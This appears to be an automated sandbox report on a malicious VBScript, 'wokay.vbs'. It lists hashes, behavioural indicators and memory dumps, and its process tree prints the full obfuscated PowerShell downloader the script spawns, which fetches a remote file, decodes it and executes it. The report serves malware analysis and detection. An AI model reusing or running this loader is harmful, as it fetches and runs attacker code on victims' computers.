316aeeea6e73008d96af425abfc23f72a12fe8cf6aa5911687771d81df67aea9

General

Target

wokay.vbs
Size

16KB
MD5

847bcf90c804edf537de17626836d5a3
SHA1

8e9f21328427f29b89ec50dedc5c32c6edd76a32
SHA256

316aeeea6e73008d96af425abfc23f72a12fe8cf6aa5911687771d81df67aea9
SHA512

d1310c88b531dfbf27b1d83a71ded4b4ef7bc711a071f30ee3842c6abe3e46a9f099373ee26f6f54ac86e2a80662887d39b35d9369aed7c2ad7962b479858138
SSDEEP

192:S+haDKt2b51EVO2nWxX9nlOkCd3XqGM00bquHi0SFfgROb9/jX+krz5ZpLZgVDW:SnKkbd11l3+0bHSFYo3v/pL2W

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

Processes:

powershell.exe

flow	pid	process
3	2788	powershell.exe
4	2788	powershell.exe
5	2788	powershell.exe
6	2788	powershell.exe
7	2788	powershell.exe
8	2788	powershell.exe
9	2788	powershell.exe
10	2788	powershell.exe
11	2788	powershell.exe
12	2788	powershell.exe
13	2788	powershell.exe
14	2788	powershell.exe
15	2788	powershell.exe
16	2788	powershell.exe
17	2788	powershell.exe
18	2788	powershell.exe
19	2788	powershell.exe
20	2788	powershell.exe
21	2788	powershell.exe
22	2788	powershell.exe
23	2788	powershell.exe
24	2788	powershell.exe
25	2788	powershell.exe
26	2788	powershell.exe
27	2788	powershell.exe
28	2788	powershell.exe
29	2788	powershell.exe
30	2788	powershell.exe
31	2788	powershell.exe
32	2788	powershell.exe
33	2788	powershell.exe
34	2788	powershell.exe
35	2788	powershell.exe
36	2788	powershell.exe
37	2788	powershell.exe
38	2788	powershell.exe
39	2788	powershell.exe
40	2788	powershell.exe
41	2788	powershell.exe
42	2788	powershell.exe
43	2788	powershell.exe
44	2788	powershell.exe
45	2788	powershell.exe
46	2788	powershell.exe
47	2788	powershell.exe
48	2788	powershell.exe
49	2788	powershell.exe
50	2788	powershell.exe
51	2788	powershell.exe
52	2788	powershell.exe
53	2788	powershell.exe
54	2788	powershell.exe
55	2788	powershell.exe
56	2788	powershell.exe
57	2788	powershell.exe
58	2788	powershell.exe
59	2788	powershell.exe
60	2788	powershell.exe
61	2788	powershell.exe
62	2788	powershell.exe
63	2788	powershell.exe
64	2788	powershell.exe
65	2788	powershell.exe
66	2788	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2788 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2788 powershell.exe

pid	process
2788	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3008 wrote to memory of 2788	3008	WScript.exe	powershell.exe
PID 3008 wrote to memory of 2788	3008	WScript.exe	powershell.exe
PID 3008 wrote to memory of 2788	3008	WScript.exe	powershell.exe
PID 2788 wrote to memory of 2656	2788	powershell.exe	cmd.exe
PID 2788 wrote to memory of 2656	2788	powershell.exe	cmd.exe
PID 2788 wrote to memory of 2656	2788	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\wokay.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Komtessesnstills = 1;$Kommunismes='Su';$Kommunismes+='bstrin';$Kommunismes+='g';Function Toxicarol($redeemable){$Monarkisternes=$redeemable.Length-$Komtessesnstills;For($Komtesses=5;$Komtesses -lt $Monarkisternes;$Komtesses+=6){$Isblokkene+=$redeemable.$Kommunismes.Invoke( $Komtesses, $Komtessesnstills);}$Isblokkene;}function Everlastingness($Forstrkende){& ($Surmenage) ($Forstrkende);}$Aktivest=Toxicarol 'Vas uM c,mioRelatz.largi Beccl autlMed.iaTract/Econo5Overd.Flage0 Silk Heste(,vitiWForu,i CitrnSopord rackoM,lodwSenn sForvi StammNunintT Prig Mekan1 Nedb0lnniv.A.phi0Landb;Ribos HelioWNoneqiE.silnIndka6 Vold4 Po,v;Karto LnenexW.rsz6 Vege4Dow,o;Bolig Stadhr Poinv oler:Metap1embal2 Geof1Predi.Coffi0Knirk)Lsepu ClutGUnecleDgnrycBrea.kT.lepoHudde/ pred2Taber0Marke1.lood0F,sen0 Deak1sygem0Salre1Strow BolthFAlderi,nsucrSl ppeLoqsefDile,ononfaxNeopl/Entit1Ho.po2 Se i1Sprin.Deser0Hangm ';$Lozenger=Toxicarol ' onrhUInadksAffrieTrisur No,a-Prec ASelskgCompieVand,n Fo,ltKompl ';$Reembraced=Toxicarol 'TrykkhOveratVestatLuedep Si.nsSyg.d: Eng./blath/Gu,bujEin toScrubcSaalscAcrotuFledgpMote aHexamtFor.oiS.emsoTerrin,armoa,oundlBran.s TyfocBerl iStrukeChem,n PulvcUpgrae Acet. ,erooContarskr.agF ame/Seisod Husef Gero/ MarkKMilito Mar gStarneBramsk V riuSpildn StelsTe retFejlbe CollrCop l.O,cilxTe.nasSmaasnContr ';$Balser=Toxicarol 'Spatc>Perma ';$Surmenage=Toxicarol 'IndgaiHu kieGawaixLgebe ';$Udtyndingszoner='Blgemekanikkernes';Everlastingness (Toxicarol ' opulSBran.e Be,ztArmig-DesmeCRigoroBreadnReembtWashheBa,tinknocktFarno Hysso-HverdPRundea,itertParolhUdfrd lftebTForeb:Erl g\Sur sTFunklaKap,ncI.truhPrisfoDiskfgRygrar KyklaC ntim.mkra.Le,sitDokumxRotertFyrf Rosma-Tan iVPanmiaRoll lPerniuAssegeTenon Rebel$ GlidU EkspdIntrotTekstyRidden Tid dFirmaiAffrinSkjulgLapi sDeterzForm.o nconn Flute ngorrdrags; .ets ');Everlastingness (Toxicarol 'TornyiYmcaafcrema Myric(Mildrt Bonee StrisGalactHemo - UmbrpLooneaCottatPreach Fu,n UopsiTMe ol:Ov.rs\S,andT.ooksaAfbryc,ammehRaftsoUmoragS olir PropaRamlemPushe.TorskteksprxPhysitBebat)Scint{StraweFiercxHydroiStarettick }Broka; utla ');$Knalleristens = Toxicarol 'RevisePret,cBlan hBaciloColli okku%DrachaBlancpLantepIsochdUdkomaAvanct,ecreaKbetv%Fremt\Ekst.D ,nheeDairid LadldEx,ncyBuild.NotchDLimico L,rigNig.r .nkha&Ableg&Jussi NondeAuthoc He,nhHimmeosa,gf Vrede$Boili ';Everlastingness (Toxicarol 'Pramd$CoquegSa.relRangfoKonfebN tteaSanktlN,cro:Kun,eSSign.t Treeo RecirRectilMe,taiData nLeuciiRespieSwimmtPsych=Bajon( Ma lcudbudmEmascdIlten Trnin/BummlcSuper Con $SouthK CooknBu.keaBl,kblSuccolSkideetapperEld eiFeazis ne ttResere Unesn TestsTenon) Blin ');Everlastingness (Toxicarol 'Doppe$bill gAkenolUnruioHolomb.heliaQui cl Udpo:blomkFUnriplGte kkLseglkconsteProl rGri,dnEthoxeCalen9Na.sk0Trenc=organ$ OffsR OvereHkkeoe .orhm spidb,lumpr ,melaBughocYder eDrejedIndop.Ph,nosBac,ep VerdlMon hi,anictDegne( Regi$fordlBAlfeda ReuplU,anasConopeSno.arKlage)Barbe ');$Reembraced=$Flkkerne90[0];Everlastingness (Toxicarol 'Tomle$UnstugMasselByplaoReprybP.oceaBe.allBo,bl:TypisXcut,vaBack.nRh.tatU,inth,ustsi SkinpAfru pStorteEra irSpytknViruleDenats oode=Te,reNAiluretem owStrin- AuroOSadisbNeurojInt,reCiv.lcHund t Magi BinfuS .usty MonosRodtetEndote Kom,mPrang.StnskNOutwieHammet Krys.fo,anW UdtyeRe,libRagliCArgenlAp.eli S.rieAp.rsnShowmtCy,nu ');Everlastingness (Toxicarol 'Udsej$SemirXal uva ousenSkabetBeatlh RetsipanthpFilstpResu eMac orRet,inEscale Capas Sven.MahjoHAlb cevend,aSikkedSkamseEnocyrAlle sSin,e[Montm$svmm,LmicrooChrisz Kap.eForudn s sogArb,je.atherfireo]Anapn=.xcen$.loamAbrugekUd,rit Ekspi.negivCam se H.lssDorsotUneve ');$Delflgens=Toxicarol 'undesXQurtiaOpdelnHespetInvalhpastoiEnergpDaarepStraneInhomrSti nnGan.eeFidelsA.hol.HenlgDSund,o u,arwRabien Overlriseno Mo eaDih,ddWort,FPolytiGaslol PacoeCover(E,ter$ ygnRPerspeTrevleNonnamReglebCh.tir Upsta,rettc rogre Antid Solo,Svejs$.subaB H,rnaLimonbResiseAsymtrDiassyRough) Over ';$Delflgens=$Storliniet[1]+$Delflgens;$Babery=$Storliniet[0];Everlastingness (Toxicarol 'An.gn$FnomegDokumlAalegoDown,bDagtiaHockelAtmos:PlasmDAut eiCrenacB,stihBlinkr TrstoMu chmatomiaP rcetMis.riTetracOssic=Coeta( AbonTHipsheklicksTranstunde,- ApogP,ippla SedutUligeh.ndtg Spids$AnalyBNitteagavekbHoodweLo,kirFacilyRaunc)Decor ');while (!$Dichromatic) {Everlastingness (Toxicarol 'Varia$BentogautoslDiadeo Ski bInc,ma Nonpl Joce: Sah.bbrandaammonaFlaglnTaxeadPolitvDuettvNewsreSatisnPylor=Theol$GeledtefterrProveuIngele ,jty ') ;Everlastingness $Delflgens;Everlastingness (Toxicarol 'VicarSCota,tErhveaAngrerbaktettiara-FyrtjS Counl ,leceAnb,feTrymap Acin T,ldb4Erthe ');Everlastingness (Toxicarol 'Ustil$ Tredg sildlTransod.skobSq.amaMydi,lPremu:Fe.skDSka,tiGasmaccassohS irirReleno pgramDesmoaIm,retS.periLy.rrcNonco= Krte(,rdsaTSprineDolces RetutBonm -InviaP LauraHarmatIlli,hSekit T.ion$ RoseBVintaaFlywhbOut.ie UralrLeaksyPanda)V.kar ') ;Everlastingness (Toxicarol 'den,i$,oublgFrperlplastoMu enb SmldamalcolSvige: Buk BTumbleVaticsPrdikkoutgayChartlEumerdMakken.mklaiSidevnIntelgPlaste Teutrunapp= With$VisaggOm.krlformyoTroldb auctaSolbrl,ryds: Ran,RHavn,a.lovnjTndstaObs,rb F ll+Orato+ Rati% Kula$Joks F A,yslGeni,k Rawlk pideBinokr C.ncnO.taee Unto9P.lar0Catal.RntgecKingboSandhuTeamwnAfkrvtAutog ') ;$Reembraced=$Flkkerne90[$Beskyldninger];}$Fortrdeligt=276508;$Elzevir=28490;Everlastingness (Toxicarol 'Skal.$ForhagReserl Bri oJeho,bBayadaFastflVgtfy:IngelDSuperi U.povAdveriIncons MilliThromoBetalnNa ursscamms ortytIrrenylib,lkF.arekpaarreA.klarRaffi Arc d=Cours LettiGUdskeeParamtReser-pre.sC Pr doBetonnNyctat.lideeLeuk,nSwit.tT,ien Fedt,$ virkBAlodiaGennebCrysteSp tnrHvledy C,sp ');Everlastingness (Toxicarol 'guine$Bortgg,drjelFernbo BvrebMdeafaBist,lU tra: PikaAM crot carbr Unr,oMorarpRee baEskadl Lngd G.ne=Gnocc Rais[OccipSEu,ogyGenn.sTra stSp nseOdourmBegyn. PorgCcunoioErg tnun nivUtraqe t.llr U,antCo,fi]Skatt:Baiss:M,ndaF.dofirkioskoBegynmSafiaB E shaTrawlsMal,tesuccu6 Disp4Lux mSNoctut .onorAnkeriRuskenPorthgCuvie(Riegg$AnhunD Filli Ratlv Metri,ackjsrhodoiSa,ono BekvnSup.rsDinossProc.tNonpeyMo,stkPs,rikKhedieEnounrM.net)impr. ');Everlastingness (Toxicarol 'Is,cy$,ispagMagmalPiacuoEmendbAutoeaBenvalPlopp:FlnsnFunderdAfstuesupervBarnaaDoctorPy.tee FurfgUnnomiRelapgLiteraSgninn strit.rodueNummen N.ndsBehnd Forz.=Ansva Hydr.[Su.erSGrabbyEntoms En etdupl e,ozjim Quin.SmagsTBebopeByggexBedmmtOligu.HelleE F.benTurnecAbciso ketcdAmy,oiSubwanEksorgAngos]Plott:Ende.: TerrABar,eSAb,ecC EvapIAmanuI Bore.DenerGG.likeSinditBe geSNedkrt Cr srRebooiDatasnto.chgFr mm(Conti$Stud.ATullit orserNaaleokit,bpU,veraZinkklFrste) Nota ');Everlastingness (Toxicarol 'Absci$ByplagKate.lLogaro Barib unloaMensalEnkel:,estiDSoleneMonisw .ammcOrakzlTentiaTi,uswDesc sJackw=H,sto$BestrFB,urpdBlindeDiplov Che.a skibrKoftee,odskg BygaiFormagTosidaNeddynDesigtAfgifeAfhjen placsKostu. EpicsSat uuVivipbEgenasVolustBlodkrVocabiDisv,n salagNonpu(Nidor$ValinFStbeno gemirS multBlastr.rimid .isseLandsl.unnii Sinkgs.vtjtPostt, Nons$Cinc,E Bridl te.rzC.arlebe.davba.thiInconr T.rn)coffi ');Everlastingness $Dewclaws;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Deddy.Dog && echo $"
    3⤵
    PID:2656

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2788-4-0x000007FEF5DCE000-0x000007FEF5DCF000-memory.dmp

Filesize
4KB

Download
memory/2788-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2788-6-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2788-7-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-8-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-9-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-10-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-11-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-12-0x000007FEF5DCE000-0x000007FEF5DCF000-memory.dmp

Filesize
4KB

Download
memory/2788-13-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-14-0x000007FEF5B10000-0x000007FEF64AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads